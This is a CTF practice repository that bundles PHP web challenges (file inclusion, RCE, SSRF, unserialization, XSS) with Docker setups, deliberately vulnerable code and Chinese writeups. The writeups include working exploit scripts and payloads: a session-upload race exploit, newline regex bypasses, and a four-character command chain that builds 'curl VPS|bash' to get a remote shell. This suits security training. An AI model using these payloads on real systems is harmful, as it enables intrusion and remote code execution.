├── File-Inclusion ├── XCTF-Final-2018-Bestphp │ ├── README.md │ ├── build │ ├── deploy │ │ ├── Dockerfile │ │ ├── default │ │ ├── src │ │ │ ├── admin.php │ │ │ ├── fsadgsdagsadgasd.php │ │ │ ├── function.php │ │ │ └── index.php │ │ └── start.sh │ ├── run │ └── writeup │ │ └── README.md └── hitcon-2018-one-line-php-challenge │ ├── README.md │ ├── build │ ├── deploy │ ├── Dockerfile │ ├── default │ ├── src │ │ └── index.php │ └── start.sh │ ├── run │ └── writeup │ ├── README.md │ └── img │ ├── decode.png │ ├── default.png │ └── session.png ├── RCE ├── hitcon-2015-babyfirst │ ├── README.md │ ├── build │ ├── deploy │ │ ├── Dockerfile │ │ ├── default │ │ ├── src │ │ │ └── index.php │ │ └── start.sh │ ├── run │ └── writeup │ │ ├── README.md │ │ └── img │ │ └── php_tar.png ├── hitcon-2017-babyfirst-revenge-v2 │ ├── README.md │ ├── build │ ├── deploy │ │ ├── Dockerfile │ │ ├── db.sql │ │ ├── default │ │ ├── src │ │ │ └── index.php │ │ └── start.sh │ ├── run │ └── writeup │ │ └── README.md └── hitcon-2017-babyfirst-revenge │ ├── README.md │ ├── build │ ├── deploy │ ├── Dockerfile │ ├── db.sql │ ├── default │ ├── src │ │ └── index.php │ └── start.sh │ ├── run │ └── writeup │ ├── README.md │ └── img │ └── shell.png ├── README.md ├── SSRF ├── 34c3-2017-extract0r │ ├── README.md │ ├── build │ ├── deploy │ │ ├── 000-default.conf │ │ ├── Dockerfile │ │ ├── db.sql │ │ ├── files │ │ │ └── create_a_backup_of_my_supersecret_flag.sh │ │ ├── mysqld.cnf │ │ ├── start.sh │ │ └── webroot │ │ │ ├── cyber_filter │ │ │ ├── files │ │ │ └── index.php │ │ │ ├── index.php │ │ │ └── url.php │ ├── run │ └── writeup │ │ ├── README.md │ │ ├── __init__.py │ │ ├── exploit.py │ │ ├── img │ │ ├── dir.png │ │ └── glob.png │ │ └── zip_tools.py └── n1ctf-2018-easy_harder_php │ ├── README.md │ ├── build │ ├── deploy │ ├── Dockerfile │ ├── clean_danger.sh │ ├── clear_db.sh │ ├── nu1lctf.tar.gz │ ├── run.sh │ └── sql.sql │ ├── run │ └── writeup │ ├── README.md │ └── img │ ├── burp.png │ ├── payload.png │ └── shell.png ├── Unserialization ├── hitcon-2016-babytrick │ ├── README.md │ ├── build │ ├── deploy │ │ ├── Dockerfile │ │ ├── db.sql │ │ ├── src │ │ │ ├── config.php │ │ │ └── index.php │ │ └── start.sh │ ├── run │ └── writeup │ │ └── README.md ├── hitcon-2017-baby^h-master-php │ ├── README.md │ ├── build │ ├── deploy │ │ ├── Dockerfile │ │ ├── default │ │ ├── src │ │ │ ├── index.php │ │ │ ├── read_flag │ │ │ └── read_secret │ │ └── start.sh │ ├── run │ └── writeup │ │ └── README.md ├── hitcon-2018-baby-cake │ ├── README.md │ ├── build │ ├── deploy │ │ ├── Dockerfile │ │ ├── default │ │ ├── src │ │ │ ├── baby_cake.tgz │ │ │ └── read_flag │ │ └── start.sh │ ├── run │ └── writeup │ │ ├── README.md │ │ └── img │ │ └── passwd.png └── lctf-2018-babyphp's-revenge │ ├── README.md │ ├── build │ ├── deploy │ ├── Dockerfile │ ├── default │ ├── src │ │ ├── flag.php │ │ └── index.php │ └── start.sh │ ├── run │ └── writeup │ ├── README.md │ └── img │ └── call_user_func.png └── XSS └── 34c3-2017-urlstorage ├── README.md ├── build ├── deploy ├── Dockerfile ├── app │ ├── .gitignore │ ├── manage.py │ └── urlstorage │ │ ├── __init__.py │ │ ├── fixtures │ │ └── admin.yaml │ │ ├── middleware.py │ │ ├── migrations │ │ ├── 0001_initial.py │ │ └── __init__.py │ │ ├── models.py │ │ ├── settings.py │ │ ├── static │ │ ├── css │ │ │ └── milligram.min.css │ │ └── pow.py │ │ ├── templates │ │ ├── base.html │ │ ├── contact.html │ │ ├── flag.html │ │ ├── index.html │ │ └── login.html │ │ ├── urls.py │ │ ├── views.py │ │ └── wsgi.py ├── db.sql ├── mysqld.cnf ├── nginx │ └── default ├── scripts │ ├── run_bot.py │ ├── run_bot.sh │ └── visit.js └── start.sh ├── run └── writeup ├── README.md ├── exploit.php ├── img ├── css.png └── rpo.png └── jquery.js /File-Inclusion/XCTF-Final-2018-Bestphp/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [session_start()&bestphp](https://www.anquanke.com/post/id/164569) -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/bestphp" ./deploy -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | RUN apt-get update -y 9 | 10 | # 安装题目或许需要的辅助工具 11 | RUN apt-get install -y wget curl 12 | 13 | # 安装 PHP 及 nginx 14 | RUN apt-get install -y nginx \ 15 | php7.0-fpm 16 | 17 | 18 | # 文件移动 19 | COPY ./default /etc/nginx/sites-available/default 20 | COPY ./src/* /var/www/html/ 21 | 22 | COPY ./start.sh /start.sh 23 | RUN rm /var/www/html/*.html 24 | RUN chmod a+x /start.sh 25 | 26 | # 题目环境 27 | RUN echo 'xctf{Funy_s3ss1On}' > /flag 28 | RUN chown -R www-data:www-data /var/www/html \ 29 | && ln -s /var/www/html /html 30 | 31 | # 清除 32 | RUN apt-get clean \ 33 | && rm -rf /var/lib/apt/lists/* 34 | 35 | EXPOSE 80 36 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | 3 | 4 | listen 80; 5 | root /var/www/html; 6 | index index.php index.html index.htm; 7 | 8 | server_name localhost; 9 | location ~ \.php$ { 10 | include snippets/fastcgi-php.conf; 11 | 12 | # With php5-cgi alone: 13 | #fastcgi_pass 127.0.0.1:9000; 14 | # With php5-fpm: 15 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; 16 | } 17 | } -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/admin.php: -------------------------------------------------------------------------------- 1 | hello admin 2 | -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/fsadgsdagsadgasd.php: -------------------------------------------------------------------------------- 1 | //flag{best_H4cker_in_xctf} -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/function.php: -------------------------------------------------------------------------------- 1 | $value){ 4 | if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){ 5 | die('Do not hack me!'); 6 | } 7 | } 8 | } 9 | ?> -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | BabyPHP 4 | 5 | 6 | 7 |
8 | Please input your name: 9 | 10 |
11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service nginx restart 3 | service php7.0-fpm start 4 | 5 | /usr/bin/tail -f /dev/null -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -p 8003:80 ctf/bestphp -------------------------------------------------------------------------------- /File-Inclusion/XCTF-Final-2018-Bestphp/writeup/README.md: -------------------------------------------------------------------------------- 1 | # XCTF-Final-2018-Bestphp 2 | ```php 3 | 17 | ``` 18 | 19 | ### 文件包含 20 | 21 | 可以发现 `call_user_func($func,$_GET);` 未做任何过滤,而后面有 `include($file);` 因此可利用 `extract` 进行变量覆盖,实现文件包含。 22 | 23 | 由于这里读取 `admin.php` 与 `function.php` 对解题没用,就不贴代码了。 24 | 25 | ### session_start 函数 26 | 继续往后看,发现 session 值可控,session 默认保存在以下位置: 27 | ``` 28 | /var/lib/php/sess_PHPSESSID 29 | /var/lib/php/sessions/sess_PHPSESSID 30 | 31 | /var/lib/php5/sess_PHPSESSID 32 | /var/lib/php5/sessions/sess_PHPSESSID 33 | 34 | /tmp/sess_PHPSESSID 35 | /tmp/sessions/sess_PHPSESSID 36 | ``` 37 | `/tmp` 目录下无法找到 session,因此 session 应该在 `/var/lib` 目录下。但由于 `ini_set('open_basedir', '/var/www/html:/tmp');` 的设置,无法包含 /var/lib 下的 session。 38 | 39 | `session_start` 函数存在 `options` 数组参数,如果提供会覆盖 session 配置项,而其中包含了 `save_path`,可用来修改 session 保存位置。 40 | 41 | 因此思路是传入 `session_start` 函数修改存储位置。 42 | 43 | 尝试直接写到根目录 44 | ```shell 45 | http --form post "http://127.0.0.1:8003/?function=session_start&save_path=." name='' Cookie:PHPSESSID=ivs6beep0k4oniqru15iap6bb3 46 | ``` 47 | 48 | 访问 `http://127.0.0.1:8003/?function=extract&file=sess_ivs6beep0k4oniqru15iap6bb3` 显示了 phpinfo 页面。 49 | 50 | 再用同样的方式写 shell 即可。 51 | 52 | ## Reference 53 | [session_start()&bestphp](https://www.anquanke.com/post/id/164569#h2-5) -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2018/one-line-php-challenge/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2018/one-line-php-challenge/) -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/one-line-php" ./deploy -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | RUN apt-get update -y 9 | 10 | # 安装 PHP 及 nginx 11 | RUN apt-get install -y nginx \ 12 | php7.0-fpm 13 | 14 | # 文件移动 15 | COPY ./default /etc/nginx/sites-available/default 16 | COPY ./src/index.php /var/www/html/index.php 17 | COPY ./start.sh /start.sh 18 | RUN rm /var/www/html/*.html 19 | RUN chmod a+x /start.sh 20 | 21 | # 题目环境 22 | RUN echo 'hitcon{b4by_f1rst}' > /flag 23 | RUN chown -R www-data:www-data /var/www/html \ 24 | && ln -s /var/www/html /html 25 | 26 | # 清除 27 | RUN apt-get clean \ 28 | && rm -rf /var/lib/apt/lists/* 29 | 30 | EXPOSE 80 31 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | root /var/www/html; 4 | index index.php index.html index.htm; 5 | 6 | server_name localhost; 7 | location ~ \.php$ { 8 | include snippets/fastcgi-php.conf; 9 | 10 | # With php5-cgi alone: 11 | #fastcgi_pass 127.0.0.1:9000; 12 | # With php5-fpm: 13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; 14 | } 15 | } -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | `,题目却需要开头 6 个字符是 `@' 75 | 76 | 77 | while 1: 78 | junk = ''.join(sample(string.ascii_letters, randint(8, 16))) 79 | x = b64encode(payload + junk) 80 | xx = b64encode(b64encode(payload + junk)) 81 | xxx = b64encode(b64encode(b64encode(payload + junk))) 82 | if '=' not in x and '=' not in xx and '=' not in xxx: 83 | payload = xxx 84 | print payload 85 | break 86 | 87 | def runner1(i): 88 | data = { 89 | 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z' 90 | } 91 | while 1: 92 | fp = open('/etc/passwd', 'rb') 93 | r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) 94 | fp.close() 95 | 96 | def runner2(i): 97 | filename = '/var/lib/php/sessions/sess_' + sess_name 98 | filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename 99 | # print filename 100 | while 1: 101 | url = '%s?orange=%s' % (HOST, filename) 102 | r = requests.get(url, headers=headers) 103 | c = r.content 104 | if c and 'orange' not in c: 105 | print [c] 106 | 107 | 108 | if sys.argv[1] == '1': 109 | runner = runner1 110 | else: 111 | runner = runner2 112 | 113 | pool = ThreadPool(32) 114 | result = pool.map_async( runner, range(32) ).get(0xffff) 115 | ``` 116 | 117 | 118 | 除了 `base64_decode` 外,也可以用其他 encode 方法,例如 `strip_tags` 119 | 120 | ## References 121 | [hitcon 2018受虐笔记一:one-line-php-challenge 学习](http://wonderkun.cc/index.html/?p=718) 122 | 123 | [HITCON CTF 2018 Web](http://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/) 124 | 125 | -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/decode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/decode.png -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/default.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/default.png -------------------------------------------------------------------------------- /File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/session.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/File-Inclusion/hitcon-2018-one-line-php-challenge/writeup/img/session.png -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2015/babyfirst/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2015/babyfirst) -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/babyfirst" ./deploy -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | RUN apt-get update -y 9 | 10 | # 安装题目或许需要的辅助工具 11 | RUN apt-get install -y wget curl 12 | 13 | # 安装 PHP 及 nginx 14 | RUN apt-get install -y nginx \ 15 | php7.0-fpm 16 | 17 | # 安装 crontab,每天 4 点清空 sandbox 18 | RUN apt-get install -y cron 19 | RUN echo '0 4 * * * root rm -rf /sandbox/*' >> /etc/crontab 20 | 21 | # 文件移动 22 | COPY ./default /etc/nginx/sites-available/default 23 | COPY ./src/index.php /var/www/html/index.php 24 | COPY ./start.sh /start.sh 25 | RUN rm /var/www/html/*.html 26 | RUN chmod a+x /start.sh 27 | 28 | # 题目环境 29 | RUN echo 'hitcon{b4by_f1rst}' > /flag 30 | RUN ln -s /bin/true /bin/orange 31 | RUN chown -R www-data:www-data /var/www/html \ 32 | && ln -s /var/www/html /html 33 | RUN mkdir /sandbox 34 | RUN chown -R www-data /sandbox 35 | RUN chmod -R 775 /sandbox 36 | 37 | # 清除 38 | RUN apt-get clean \ 39 | && rm -rf /var/lib/apt/lists/* 40 | 41 | EXPOSE 80 42 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | root /var/www/html; 4 | index index.php index.html index.htm; 5 | 6 | server_name localhost; 7 | location ~ \.php$ { 8 | include snippets/fastcgi-php.conf; 9 | 10 | # With php5-cgi alone: 11 | #fastcgi_pass 127.0.0.1:9000; 12 | # With php5-fpm: 13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; 14 | } 15 | } -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service nginx restart 3 | service php7.0-fpm start 4 | service cron start 5 | 6 | 7 | /usr/bin/tail -f /dev/null 8 | -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -p 8002:80 ctf/babyfirst -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/writeup/README.md: -------------------------------------------------------------------------------- 1 | # hitcon-2015-babyfirst 2 | 3 | ```php 4 | 19 | ``` 20 | 21 | 题目存在几个难点: 22 | 23 | 1.绕过正则及 /bin/orange 的前缀执行命令 24 | 25 | 2.写入木马并执行 26 | 27 | ## 绕过 28 | 该问题是正则表达式的一个特性,**`/^\w+$\` 中的 `$` 当遇到字符串的结尾是换行符(%0a)时还是可以匹配**。于是就解决了第一个问题,绕过了正则,同时利用换行符得以执行其他命令。 29 | `http://ip/?args[]=xxx%0a&args[]=touch&args[]=test` 30 | 31 | ## 写入木马 32 | 由于只能传入字母,直接写文件肯定不行,那么只有尝试下载文件了。 33 | 34 | ### wget 下载 35 | 由于 ip 地址的多样性(可参考[IP地址混淆](https://findneo.tech/171125TextualRepresentationOfIPAddress/)),可以使用十进制表示 ip 从而避免使用 `.`。 36 | 37 | 但又由于 wget 下载不到后台的 php 源码,只能获取 php 解析之后的 html 文件,因此下载之后没有办法直接执行。 38 | 39 | ### php 执行代码 40 | 这里又存在一个知识点:**在 Linux 中 PHP 能够执行非压缩的打包的 PHP 文件** 41 | 42 | ![php_tar](img/php_tar.png) 43 | 44 | 45 | ## getshell 46 | 于是思路就出来了,先在自己的 vps 上创建一个 index.html: 47 | 48 | ```php 49 | '); 54 | ``` 55 | 56 | 接着执行 57 | ``` 58 | http://ip/?args[]=xxx%0a&args[]=mkdir&args[]=exploit 创建exploit文件夹 59 | 60 | http://ip/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=vps十进制地址 进入exploit文件夹,下载 vps 的 index.html文件。 61 | 62 | http://ip/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit 压缩文件夹 63 | 64 | http://ip/?args[]=xxx%0a&args[]=php&args[]=archived 执行文件 65 | ``` 66 | 67 | ## 其他解法 68 | 题目的核心就是将 PHP 源文件下载到服务器,因此还存在其他几种解法 69 | 70 | ```shell 71 | 1. busybox ftpget FTP 服务器 72 | 73 | 2. twistd telnet 74 | 75 | 3. wget VPS # VPS 302 重定向到 FTP 协议 76 | ``` 77 | 78 | ## References 79 | [Babyfirst的分析和解答](https://blog.spoock.com/2017/09/09/Babyfirst-writeup/) -------------------------------------------------------------------------------- /RCE/hitcon-2015-babyfirst/writeup/img/php_tar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/RCE/hitcon-2015-babyfirst/writeup/img/php_tar.png -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge-v2/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2017/babyfirst-revenge/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/babyfirst-revenge-v2) -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge-v2/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/babyfirst_revenge_v2" ./deploy -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge-v2/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | ENV DEBIAN_FRONTEND noninteractive 3 | 4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 5 | 6 | ENV TZ=Asia/Shanghai 7 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 8 | 9 | RUN apt-get update -y 10 | 11 | # 安装题目或许需要的辅助工具 12 | RUN apt-get install -y curl wget 13 | 14 | # 安装 PHP 及 nginx 15 | RUN apt-get install -y nginx \ 16 | php7.0-fpm 17 | 18 | # 安装 crontab,每天 4 点清空 sandbox 19 | RUN apt-get install -y cron 20 | RUN echo '0 4 * * * root rm -rf /www/sandbox/*' >> /etc/crontab 21 | 22 | # 文件移动 23 | COPY ./default /etc/nginx/sites-available/default 24 | COPY ./src/index.php /var/www/html/index.php 25 | COPY ./db.sql /tmp/db.sql 26 | COPY ./start.sh /start.sh 27 | 28 | RUN rm /var/www/html/*.html 29 | RUN chown -R www-data:www-data /var/www/html \ 30 | && ln -s /var/www/html /html 31 | RUN chmod a+x /start.sh 32 | 33 | # 题目环境 34 | RUN mkdir /www 35 | RUN mkdir /www/sandbox 36 | RUN chown -R www-data /www/sandbox 37 | RUN chmod -R 775 /www/sandbox 38 | 39 | RUN echo 'Flag is in the MySQL database\nfl4444g / SugZXUtgeJ52_Bvr' > /README.txt 40 | 41 | # 数据库配置 42 | RUN apt-get install -y php-mysql \ 43 | mysql-client \ 44 | mysql-server \ 45 | && service mysql start \ 46 | && mysqladmin -uroot password HuQ3stwHJ \ 47 | && mysql -e "source /tmp/db.sql;" -uroot -pHuQ3stwHJ \ 48 | && rm /tmp/db.sql 49 | 50 | # 清除 51 | RUN apt-get clean \ 52 | && rm -rf /var/lib/apt/lists/* 53 | 54 | EXPOSE 80 55 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge-v2/deploy/db.sql: -------------------------------------------------------------------------------- 1 | create database fl4gdb; 2 | 3 | use fl4gdb; 4 | CREATE USER 'fl4444g'@'localhost' IDENTIFIED BY 'SugZXUtgeJ52_Bvr'; 5 | grant select on *.* to 'fl4444g'@'localhost'; 6 | 7 | CREATE TABLE IF NOT EXISTS `this_is_the_fl4g` ( 8 | `secret` varchar(225) NOT NULL 9 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 10 | 11 | INSERT INTO `this_is_the_fl4g` (`secret`) VALUES 12 | ('hitcon{idea_from_phith0n,thank_you:v2)}'); -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge-v2/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | 3 | 4 | listen 80; 5 | root /var/www/html; 6 | index index.php index.html index.htm; 7 | 8 | server_name localhost; 9 | location ~ \.php$ { 10 | include snippets/fastcgi-php.conf; 11 | 12 | # With php5-cgi alone: 13 | #fastcgi_pass 127.0.0.1:9000; 14 | # With php5-fpm: 15 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; 16 | } 17 | } -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge-v2/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | >c` 就无法实现,`ls -t>g` 也就无法生成。 18 | 19 | ## 反转字符串 20 | 这里就有另一个思路,因为 ls 的按字典顺序排序,由于符号(`- >`)在字母之前,才导致需要 `>>` 附加到文件尾部才能生成正确的 `ls -t>g` 命令,那么我们尝试将分段的文件名 `ls -t >g` 逆向生成,使得字母在前面,比如`g> t- sl`,之后再利用 `rev` 命令反转过来,得到正确的 `ls -t>g` 命令。 21 | 22 | 又由于 t 在 s 的后面,直接这样生成会导致排序出错,实际生成这样的命令 `g> sl t-`,因此可以加入 `h` 参数,`h` 是用作格式化 `l` 参数之后的存储量大小,不带 `l` 参数则无意义,这里的作用就是使得 `ht-` 能在 `sl` 之前,顺利生成 `g> -th sl` 命令。 23 | 24 | ## * 的作用 25 | `*` 相当于 `$(ls *)`,所以如果列出的第一个文件名为命令的话就会返回执行的结果,之后的作为参数传入。 26 | 27 | 我们先引入 `dir` 命令,该命令在大多数系统中都是 ls 的 alias。 28 | 29 | 因此,我们可以在当前目录下生成,`g>` `-th` `sl` `dir` 文件,通过 `*>g`(实际结果就是 `dir>g`),这里用 `dir` 而不是 `ls` 则是由于字典顺序的问题,这样 `dir` 在 `*` 命令执行后才是第一个被执行的命令,因此就能产生 `ls -ht > g` 的逆序文件 30 | 31 | 然后执行 `>rev` ,`*v` 会匹配到 `rev v`,执行后则得到正序的 `ls -ht>g`。 32 | 33 | 之后的步骤则跟 babyfirst-revenge 一样了。 34 | 35 | exp(by Orange): 36 | 37 | ```Python 38 | import requests 39 | from time import sleep 40 | from urllib import quote 41 | 42 | payload = [ 43 | # generate "g> ht- sl" to file "v" 44 | '>dir', 45 | '>sl', 46 | '>g\>', 47 | '>ht-', 48 | '*>v', 49 | 50 | # reverse file "v" to file "x", content "ls -th >g" 51 | '>rev', 52 | '*v>x', 53 | 54 | # generate `curl VPS|bash` 55 | # * 为隐去的 VPS ip 地址十进制的某位 56 | '>\;\\', 57 | '>sh\\', 58 | '>ba\\', 59 | '>\|\\', 60 | '>2\\', 61 | '>1*\\', 62 | '>8*\\', 63 | '>5*\\', 64 | '>7*\\', 65 | '>\ \\', 66 | '>rl\\', 67 | '>cu\\', 68 | 69 | # got shell 70 | 'sh x', 71 | 'sh g', 72 | ] 73 | 74 | 75 | r = requests.get('http://127.0.0.1:8009/?reset=1') 76 | for i in payload: 77 | assert len(i) <= 4 78 | r = requests.get('http://127.0.0.1:8009/?cmd=' + quote(i)) 79 | print(i) 80 | sleep(0.1) 81 | ``` 82 | 83 | ## References 84 | [HITCON 2017 babyfirst-revenge[-v2]浅析](https://xz.aliyun.com/t/1579) -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2017/babyfirst-revenge/](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2017/babyfirst-revenge) -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/babyfirst_revenge" ./deploy -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | ENV DEBIAN_FRONTEND noninteractive 3 | 4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 5 | 6 | ENV TZ=Asia/Shanghai 7 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 8 | 9 | RUN apt-get update -y 10 | 11 | # 安装题目或许需要的辅助工具 12 | RUN apt-get install -y curl wget 13 | 14 | # 安装 PHP 及 nginx 15 | RUN apt-get install -y nginx \ 16 | php7.0-fpm 17 | 18 | # 安装 crontab,每天 4 点清空 sandbox 19 | RUN apt-get install -y cron 20 | RUN echo '0 4 * * * root rm -rf /www/sandbox/*' >> /etc/crontab 21 | 22 | # 文件移动 23 | COPY ./default /etc/nginx/sites-available/default 24 | COPY ./src/index.php /var/www/html/index.php 25 | COPY ./db.sql /tmp/db.sql 26 | COPY ./start.sh /start.sh 27 | 28 | RUN rm /var/www/html/*.html 29 | 30 | RUN chown -R www-data:www-data /var/www/html \ 31 | && ln -s /var/www/html /html 32 | RUN chmod a+x /start.sh 33 | 34 | # 题目环境 35 | RUN mkdir /www 36 | RUN mkdir /www/sandbox 37 | RUN chown -R www-data /www/sandbox 38 | RUN chmod -R 775 /www/sandbox 39 | 40 | RUN echo 'Flag is in the MySQL database\nfl4444g / SugZXUtgeJ52_Bvr' > /README.txt 41 | 42 | # 数据库配置 43 | RUN apt-get install -y php-mysql \ 44 | mysql-client \ 45 | mysql-server \ 46 | && service mysql start \ 47 | && mysqladmin -uroot password HuQ3stwHJ \ 48 | && mysql -e "source /tmp/db.sql;" -uroot -pHuQ3stwHJ \ 49 | && rm /tmp/db.sql 50 | 51 | # 清除 52 | RUN apt-get clean \ 53 | && rm -rf /var/lib/apt/lists/* 54 | 55 | EXPOSE 80 56 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /RCE/hitcon-2017-babyfirst-revenge/deploy/db.sql: -------------------------------------------------------------------------------- 1 | create database fl4gdb; 2 | 3 | use fl4gdb; 4 | CREATE USER 'fl4444g'@'localhost' IDENTIFIED BY 'SugZXUtgeJ52_Bvr'; 5 | grant select on *.* to 'fl4444g'@'localhost'; 6 | 7 | CREATE TABLE IF NOT EXISTS `this_is_the_fl4g` ( 8 | `secret` varchar(225) NOT NULL 9 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 10 | 11 | INSERT INTO `this_is_the_fl4g` (`secret`) VALUES 12 | ('hitcon{idea_from_phith0n,thank_you:)}'); -------------------------------------------------------------------------------- 